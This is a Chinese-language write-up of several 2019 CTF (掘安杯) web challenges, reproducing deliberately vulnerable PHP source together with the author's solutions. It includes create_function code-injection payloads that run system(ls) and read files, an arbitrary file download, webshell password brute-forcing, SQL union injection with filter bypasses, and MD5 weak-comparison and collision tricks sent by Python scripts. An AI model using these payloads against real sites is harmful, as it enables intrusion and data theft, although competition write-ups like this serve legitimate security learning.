2019年掘安杯writeup

not_easy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
if(isset($_GET['action'])) {
$action = $_GET['action'];
}

if(isset($_GET['action'])){
$arg = $_GET['arg'];
}

if(preg_match('/^[a-z0-9_]*$/isD', $action)){
show_source(__FILE__);
} else {
$action($arg,'');
}

这是P神代码审计的题目,但是被改动了参数的位置

create_function注入分析:

https://style-404.github.io/2019/03/24/p%E7%A5%9E%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E7%9F%A5%E8%AF%86%E6%98%9F%E7%90%83%E4%BA%8C%E5%91%A8%E5%B9%B4wp/
在这道题中,可控的是第二个参数 通过加上 ‘)’ 闭合来进行注入

1
?action=%5ccreate_function&arg=){}phpinfo();/*


接下只需改变phpinfo();代码进行注入即可

1
?action=%5ccreate_function&arg=){}print_r(scandir('../'));/*


发现这道题没有想p神那道题一样禁用system()函数

1
?action=%5ccreate_function&arg=){}print_r(system(ls));/*

接下来读取内容

1
?action=%5ccreate_function&arg=){}print_r(include%20Th1s_1S_F1a9_Hav3_Fun);/*

下载下载


呆呆地点击下载 如果发现没有flag~

查看源码 发现有flag.php

什么也没有 于是回过头看之前的源码 是否能够下载flag.php 或者是任意文件下载

下载flag.php成功 内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php
header('Content-Type: text/html; charset=utf-8'); //网页编码
function encrypt($data, $key) {
$key = md5 ( $key );
$x = 0;
$len = strlen ( $data );
$l = strlen ( $key );
for($i = 0; $i < $len; $i ++) {
if ($x == $l) {
$x = 0;
}
$char .= $key {$x};
$x ++;
}
for($i = 0; $i < $len; $i ++) {
$str .= chr ( ord ( $data {$i} ) + (ord ( $char {$i} )) % 256 );
}
return base64_encode ( $str );
}

function decrypt($data, $key) {
$key = md5 ( $key );
$x = 0;
$data = base64_decode ( $data );
$len = strlen ( $data );
$l = strlen ( $key );
for($i = 0; $i < $len; $i ++) {
if ($x == $l) {
$x = 0;
}
$char .= substr ( $key, $x, 1 );
$x ++;
}
for($i = 0; $i < $len; $i ++) {
if (ord ( substr ( $data, $i, 1 ) ) < ord ( substr ( $char, $i, 1 ) )) {
$str .= chr ( (ord ( substr ( $data, $i, 1 ) ) + 256) - ord ( substr ( $char, $i, 1 ) ) );
} else {
$str .= chr ( ord ( substr ( $data, $i, 1 ) ) - ord ( substr ( $char, $i, 1 ) ) );
}
}
return $str;
}

$key="MyCTF";
$flag="o6lziae0xtaqoqCtmWqcaZuZfrd5pbI=";//encrypt($flag,$key)

?>

有encrypt() decrypt() 两个函数 分别是加密和解密函数
在最下面flag 是被加密过了 又因为有解密函数,于是直接调用解密函数即可

该网站已被黑


一个炫酷的网页 被黑? 于是拿御剑扫一下 发现shell.php

需要密码
用burp导入字典进行暴力得到密码为hack

曲折的人生


随便输一下 发现有有回显

接下来用union注入

其中:

  1. 空格被过滤 用 /**/ 绕过
  2. union,select 关键字被过滤 双写绕过

得到账号密码

1
2
3
用户名:goodboy_g-60Hellowor

密码:ajahas&&*44askldajaj

接下来编写脚本提交

得到sss88ioiern.gdsgj.zip

from1.txt是用VB写的代码 转换为pytohn代码为:

1
2
3
4
5
6
7
8
9
10
11
12
13
def getPassword(string):
i = 1
reString = ''
while i <= len(string) :
reString = reString + string[i-1]
i = i + (i % 5)
return reString

Dictionary = "VmxSS05HSXhXbkpOV0VwT1YwVmFWRll3Wkc5VVJsbDNWMnhhYkZac1NqQlpNRll3VlRBeFNWRnNjRmRpUmtwSVZsY3hSMk14V2xsalJsSnBVakpvV0ZaR1dsWmxSbHBYWWtSYVZtRjZWbGRVVmxwelRrWmFTR1ZHWkZSaGVrWlhWR3hTVjFZeVJuSlhiRUpYWVRGYVYxcFhlRkprTVZaeVkwZHNVMDFWY0ZkV2JURXdWREZSZUZkcmFGVmlhelZvVlcxNFMxWXhjRlpXVkVaUFlrYzVObGt3VmpCWFJrcHpWbXBTVjFadFVqTldiWE4zWkRKT1IySkdaRmRTVm5CUVZtMTBhMVJyTVVkVmJrcFZZa2RTVDFac1VsZFdNVlY0Vld0a1ZVMXNXbGhXTVdodlZsZEtSMU5yWkZWV1JVVXhWV3hhWVZkSFZraGtSbVJUWWtoQ1JsWnJaRFJWTWtaMFUydG9WbUpHV2xoV01HUnZWVVp3V0UxWGNHeFdhelY2V1ZWYVlWUnNXbkpYYm1oWFlrWktVRlY2Um10U01WcFpZVVpXVjJKRmNIaFdSM1JXVFZVd2QyTkdWbFZoTVZwTVZtdFZNVkpuSlRORUpUTkU="

password = getPassword(Dictionary)
password = getPassword(password)
print(password)


得到解压密码

audit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<?php
highlight_file(__FILE__);
include('flag.php');
$str1 = @$_GET['str1'];
$str2 = @$_GET['str2'];
$str3 = @$_GET['str3'];
$str4 = @$_GET['str4'];
$str5 = (string)@$_POST['str5'];
$str6 = (string)@$_POST['str6'];
$str7 = (string)@$_POST['str7'];
if( $str1 == $str2 ){
die('str1 OR Sstr2 no no no');
}
if( md5($str1) != md5($str2) ){
die('step 1 fail');
}
if( $str3 == $str4 ){
die('str3 OR str4 no no no');
}
if ( md5($str3) !== md5($str4)){
die('step 2 fail');
}
if( $str5 == $str6 || $str5 == $str7 || $str6 == $str7 ){
die('str5 OR str6 OR str7 no no no');
}
if (md5($str5) !== md5($str6) || md5($str6) !== md5($str7) || md5($str5) !== md5($str7)){
die('step 3 fail');
}

if(!($_POST['a']) and !($_POST['b']))
{
echo "come on!";
die();
}
$a = $_POST['a'];
$b = $_POST['b'];
$m = $_GET['m'];
$n = $_GET['n'];

if (!(ctype_upper($a)) || !(is_numeric($b)) || (strlen($b) > 6))
{
echo "a OR b fail!";
die();
}

if ((strlen($m) > 4) || (strlen($n) > 4))
{
echo "m OR n fail";
die();
}

$str8 = hash('md5', $a, false);
$str9 = strtr(hash('md5', $b, false), $m, $n);

echo "<p>str8 : $str8</p>";
echo "<p>str9 : $str9</p>";

if (($str8 == $str9) && !($a === $b) && (strlen($b) === 6))
{
echo "You're great,give you flag:";
echo $flag;
}

首先

1
2
3
4
5
6
7
8
9
10
11
12
if( $str1 == $str2 ){
die('str1 OR Sstr2 no no no');
}
if( md5($str1) != md5($str2) ){
die('step 1 fail');
}
if( $str3 == $str4 ){
die('str3 OR str4 no no no');
}
if ( md5($str3) !== md5($str4)){
die('step 2 fail');
}

这里是md5弱类型比较,可用数组来绕过

1
?str1[]=1&str2[]=2&str3[]=3&str4[]=4

1
2
3
4
5
6
if( $str5 == $str6 || $str5 == $str7 || $str6 == $str7 ){
die('str5 OR str6 OR str7 no no no');
}
if (md5($str5) !== md5($str6) || md5($str6) !== md5($str7) || md5($str5) !== md5($str7)){
die('step 3 fail');
}

这里利用了string进行强制类型转换,我们无法用数组绕过了。只能用MD5强碰撞,要求传入三个值不能相等,但是MD5相等
参考:https://natmchugh.blogspot.com/2014/11/three-way-md5-collision.html
将这三个图片文件下载下来,查看md5值

也可以用工具;python-md5-collision 来进行生成
工具下载地址:
https://github.com/thereal1024/python-md5-collision
接下来用python来提交,脚本如下:

1
2
3
4
5
6
7
8
9
import requests
url = "http://120.79.1.69:10007/?str1[]=1&str2[]=2&str3[]=3&str4[]=4"
data = {
'str5': open('black.jpg.coll').read(),
'str6': open('brown.jpg.coll').read(),
'str7': open('white.jpg.coll').read()
}
r = requests.post(url,data = data)
print r.text

可以看到成功饶过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

if(!($_POST['a']) and !($_POST['b']))
{
echo "come on!";
die();
}
$a = $_POST['a'];
$b = $_POST['b'];
$m = $_GET['m'];
$n = $_GET['n'];

if (!(ctype_upper($a)) || !(is_numeric($b)) || (strlen($b) > 6))
{
echo "a OR b fail!";
die();
}
if ((strlen($m) > 4) || (strlen($n) > 4))
{
echo "m OR n fail";
die();
}

要求$a为大写字母,$b为数字、并且长度为6,$m和$n长度小于4

1
2
3
4
5
6
7
8
9
10
11
12

import requests
url = "http://120.79.1.69:10007/?str1[]=1&str2[]=2&str3[]=3&str4[]=4&m=1&n=1"
data = {
'str5': open('black.jpg.coll').read(),
'str6': open('brown.jpg.coll').read(),
'str7': open('white.jpg.coll').read(),
'a':'A',
'b':123456
}
r = requests.post(url,data = data)
print r.text


1
2
3
4
5
6
7
8
9
10
11
$str8 = hash('md5', $a, false);
$str9 = strtr(hash('md5', $b, false), $m, $n);

echo "<p>str8 : $str8</p>";
echo "<p>str9 : $str9</p>";

if (($str8 == $str9) && !($a === $b) && (strlen($b) === 6))
{
echo "You're great,give you flag:";
echo $flag;
}

hash()函数讲解:
https://www.php.net/manual/zh/function.hash.php

参考

https://mp.weixin.qq.com/s?__biz=MzUzOTM4MzEyMw==&mid=2247484797&idx=4&sn=5b752d13d4e29ebf19c43d5d9ba91385&chksm=fac80141cdbf88574c8f3fb3baf2e1174f2e002e926a801201c8f9161d7c53549d9dba658adc&mpshare=1&scene=1&srcid=&key=93ecb28c1069103a04285feb58979315a4b1749f4add40986e8814dc225f92fdbd54fa068c158a034dea2078f082317596004f0f3aca0fc76402361b547c8e2aeb5c001bbc960c35ce4996ca738f4cc3&ascene=1&uin=NDI2MjY3MjY%3D&devicetype=Windows+10&version=62060739&lang=zh_CN&pass_ticket=KKTGRrx8UvPH7CsKG5EoBGyRNBkVrSgQ%2F97%2BsambOvw%3D